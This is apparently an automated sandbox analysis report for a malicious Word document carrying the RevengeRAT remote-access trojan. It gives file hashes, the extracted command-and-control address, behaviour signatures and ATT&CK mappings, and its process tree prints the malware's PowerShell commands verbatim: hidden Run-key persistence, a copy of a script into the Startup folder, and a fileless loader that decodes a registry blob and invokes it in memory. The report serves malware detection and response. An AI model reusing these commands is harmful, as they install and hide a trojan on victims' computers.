revengerat | 147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc

General

Target

147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc
Size

54KB
MD5

c50aa75e55eacfd0a85643c81d6962c5
SHA1

3347d3c5b03afcd46ada31639c80174de5eac1df
SHA256

147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc
SHA512

9e8bcac38eeab864ad914afa1ac81fcecc942dfc0bd90ab8bc3e9b720460792c8040133fc1118dc674263636f6ba28dbc69c4c7290bff13e0bf46394774d9694
SSDEEP

768:XRcXUzsZ/e5aO67lghmts3yeibSOFgOK:6X/eG7lghnyDb

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

WScript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	388	3632	WScript.exe	WINWORD.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

29 2552 powershell.exe
76 2552 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3744 powershell.exe
5088 powershell.exe
2552 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\avg.js powershell.exe

flow	pid	process
29	2552	powershell.exe
76	2552	powershell.exe

pid	process
3744	powershell.exe
5088	powershell.exe
2552	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\avg.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\avg.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEpowershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3632 WINWORD.EXE
3632 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2552 powershell.exe
5088 powershell.exe
3744 powershell.exe
3744 powershell.exe
2552 powershell.exe
5088 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2552 powershell.exe
Token: SeDebugPrivilege 5088 powershell.exe
Token: SeDebugPrivilege 3744 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE
3632 WINWORD.EXE

pid	process
3632	WINWORD.EXE
3632	WINWORD.EXE

pid	process
2552	powershell.exe
5088	powershell.exe
3744	powershell.exe
3744	powershell.exe
2552	powershell.exe
5088	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe

pid	process
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEWScript.exe

description	pid	process	target process
PID 3632 wrote to memory of 388	3632	WINWORD.EXE	WScript.exe
PID 3632 wrote to memory of 388	3632	WINWORD.EXE	WScript.exe
PID 388 wrote to memory of 3744	388	WScript.exe	powershell.exe
PID 388 wrote to memory of 3744	388	WScript.exe	powershell.exe
PID 388 wrote to memory of 5088	388	WScript.exe	powershell.exe
PID 388 wrote to memory of 5088	388	WScript.exe	powershell.exe
PID 388 wrote to memory of 2552	388	WScript.exe	powershell.exe
PID 388 wrote to memory of 2552	388	WScript.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\avg.js"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\avg.js' -PropertyType String -Force;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\avg.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\avg.js'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8F7.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ebpwx5y.2rh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
065ce43b3b6d37f6c6add4fc1efd3cdf

SHA1
f5fd62e58c3dd5b3ea3bcb32594c48da55f815f5

SHA256
dcf50455f72b3841b2e2b04661f2a245f581112cd422c1c3c049f8734ccafde4

SHA512
a41ff5e65c02da74955c6102b2e2d83fde8135fd0c16a2a0008bf056166670319b8d7b9835601de97902dab5a6f394ab7c14b8b166d5df466a957945a1f922a4

Download Submit
C:\Users\Admin\AppData\Roaming\avg.js

Filesize
60KB

MD5
4d21175948ef7464aaac5cb6a191e2d9

SHA1
8ba376fa81916b44be0c02ce33813d9cd9c9bdaf

SHA256
b81e456cf92319440989cbde2b2484e6e11c6acb03ef493ca18e429294a3117f

SHA512
cf2b0162c5707c098254189d2db04dd38e0ab9bfdbbefe8b05843275cdcce5f5d19d4a4d24100c836bdc777d8f78ecd72cd7863adf31d0958a80150ae71ab983

Download Submit
memory/2552-109-0x00000246F8F70000-0x00000246F8F7A000-memory.dmp

Filesize
40KB

Download
memory/2552-84-0x00000246E0AD0000-0x00000246E0AF2000-memory.dmp

Filesize
136KB

Download
memory/3632-9-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-4-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/3632-12-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-14-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-13-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-11-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-15-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

Filesize
64KB

Download
memory/3632-10-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-0-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/3632-8-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-16-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

Filesize
64KB

Download
memory/3632-28-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-3-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/3632-2-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/3632-7-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/3632-1-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

Filesize
4KB

Download
memory/3632-6-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-120-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-111-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-112-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

Filesize
4KB

Download
memory/3632-113-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-114-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/3632-5-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/5088-110-0x000002B5FEA50000-0x000002B5FEAC6000-memory.dmp

Filesize
472KB

Download
memory/5088-107-0x000002B5FE980000-0x000002B5FE9C4000-memory.dmp

Filesize
272KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads